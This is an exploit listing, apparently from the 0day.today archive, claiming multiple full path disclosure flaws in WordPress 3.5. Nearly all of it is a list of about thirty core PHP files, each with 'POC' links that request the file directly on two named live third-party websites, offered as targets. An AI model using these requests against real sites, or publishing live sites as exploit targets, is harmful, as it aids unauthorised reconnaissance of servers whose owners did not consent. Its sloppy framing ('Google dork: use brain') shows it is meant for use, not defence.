WordPress 3.5 multiple path disclosure vulnerabilities

# Exploit Title: wordpress 3.5 multiple path disclosure vulnerabilities 
# Date: [12.12.12]
# Author: [Cyb3rboy]
# Vendor or Software Link: [wordpress.org]
# Version: [wordpress 3.5]
# Category:: [webapps]
# Google dork: [use brain ]
# Tested on: [windows]

the following directories is vulnerable to path disclosure vulnerability in word-press 3.5

/wp-settings.php
POC :- http://sqayasia.com/wp-settings.php
            http://www.way2blogging.org/wp-settings.php

/wp-includes/admin-bar.php
POC:- http://sqayasia.com/wp-includes/admin-bar.php
           http://www.way2blogging.org/wp-includes/admin-bar.php


/wp-includes/author-template.php
Poc:- http://sqayasia.com/wp-includes/author-template.php
         http://www.way2blogging.org/wp-includes/author-template.php

/wp-includes/canonical.php
Poc:- http://sqayasia.com/wp-includes/canonical.php

/wp-includes/category-template.php
Poc:- http://sqayasia.com/wp-includes/category-template.php
         http://www.way2blogging.org/wp-includes/category-template.php

/wp-includes/class-wp-embed.php
Poc:- http://sqayasia.com/wp-includes/class-wp-embed.php
http://www.way2blogging.org

/wp-includes/media.php
POc:- http://sqayasia.com/wp-includes/media.php

/wp-includes/ms-default-constants.php
Poc :- http://sqayasia.com/wp-includes/ms-default-constants.php
http://www.way2blogging.org

/wp-includes/ms-default-filters.php
Poc:- http://sqayasia.com/wp-includes/ms-default-filters.php
http://www.way2blogging.org

/wp-includes/ms-settings.php
Poc:- http://sqayasia.com/wp-includes/ms-settings.php
http://www.way2blogging.org

/wp-includes/post.php
Poc:- http://sqayasia.com/wp-includes/post.php
http://www.way2blogging.org

/wp-includes/rss.php
Poc:- http://sqayasia.com/wp-includes/rss.php
http://www.way2blogging.org/wp-includes/rss.php

/wp-includes/user.php
Poc:- http://sqayasia.com/wp-includes/user.php
http://www.way2blogging.org/wp-includes/user.php

/wp-includes/theme.php
Poc:- http://sqayasia.com/wp-includes/theme.php
http://www.way2blogging.org/wp-includes/theme.php

/wp-includes/vars.php
Poc:- http://sqayasia.com/wp-includes/vars.php
http://www.way2blogging.org/wp-includes/vars.php

/wp-includes/class-wp-http-ixr-client.php
Poc:- http://sqayasia.com/wp-includes/class-wp-http-ixr-client.php

/wp-includes/class-wp-image-editor-gd.php
Poc:- http://sqayasia.com/wp-includes/class-wp-image-editor-gd.php
http://www.way2blogging.org/wp-includes/class-wp-image-editor-gd.php

/wp-includes/class-wp-image-editor-imagick.php
Poc:- http://sqayasia.com/wp-includes/class-wp-image-editor-imagick.php
http://www.way2blogging.org/wp-includes/class-wp-image-editor-imagick.php

/wp-includes/class-wp-xmlrpc-server.php
Poc:- http://sqayasia.com/wp-includes/class-wp-xmlrpc-server.php
http://www.way2blogging.org/wp-includes/class-wp-xmlrpc-server.php

/wp-includes/class.wp-scripts.php
Poc:- http://sqayasia.com/wp-includes/class.wp-scripts.php
http://www.way2blogging.org/wp-includes/class.wp-scripts.php

/wp-includes/class.wp-styles.php
Poc:- http://sqayasia.com/wp-includes/class.wp-styles.php
http://www.way2blogging.org/wp-includes/class.wp-styles.php

/wp-includes/comment-template.php
Poc:- http://sqayasia.com/wp-includes/comment-template.php
http://www.way2blogging.org/wp-includes/comment-template.php

/wp-includes/default-filters.php
Poc:- http://sqayasia.com/wp-includes/default-filters.php
http://www.way2blogging.org/wp-includes/default-filters.php

/wp-includes/default-widgets.php
Poc:- http://sqayasia.com/wp-includes/default-widgets.php
http://www.way2blogging.org/wp-includes/default-widgets.php

/wp-includes/feed-atom-comments.php
Poc:- http://sqayasia.com/wp-includes/feed-atom-comments.php
http://www.way2blogging.org/wp-includes/feed-atom-comments.php

/wp-includes/feed-atom.php
Poc:- http://sqayasia.com/wp-includes/feed-atom.php
http://www.way2blogging.org/wp-includes/feed-atom.php

/wp-includes/feed-rdf.php
Poc:-http://sqayasia.com/wp-includes/feed-rdf.php
http://www.way2blogging.org/wp-includes/feed-rdf.php

/wp-includes/feed-rss.php
Poc:-http://sqayasia.com/wp-includes/feed-rss.php
http://www.way2blogging.org/wp-includes/feed-rss.php

/wp-includes/feed-rss2-comments.php
Poc:- http://sqayasia.com/wp-includes/feed-rss2-comments.php
http://www.way2blogging.org/wp-includes/feed-rss2-comments.php

/wp-includes/feed-rss2.php
Poc:- http://sqayasia.com/wp-includes/feed-rss2.php
http://www.way2blogging.org/wp-includes/feed-rss2.php

/wp-includes/functions.php
Poc:- http://sqayasia.com/wp-includes/functions.php
http://www.way2blogging.org/wp-includes/functions.php

#  0day.today [2018-04-13]  #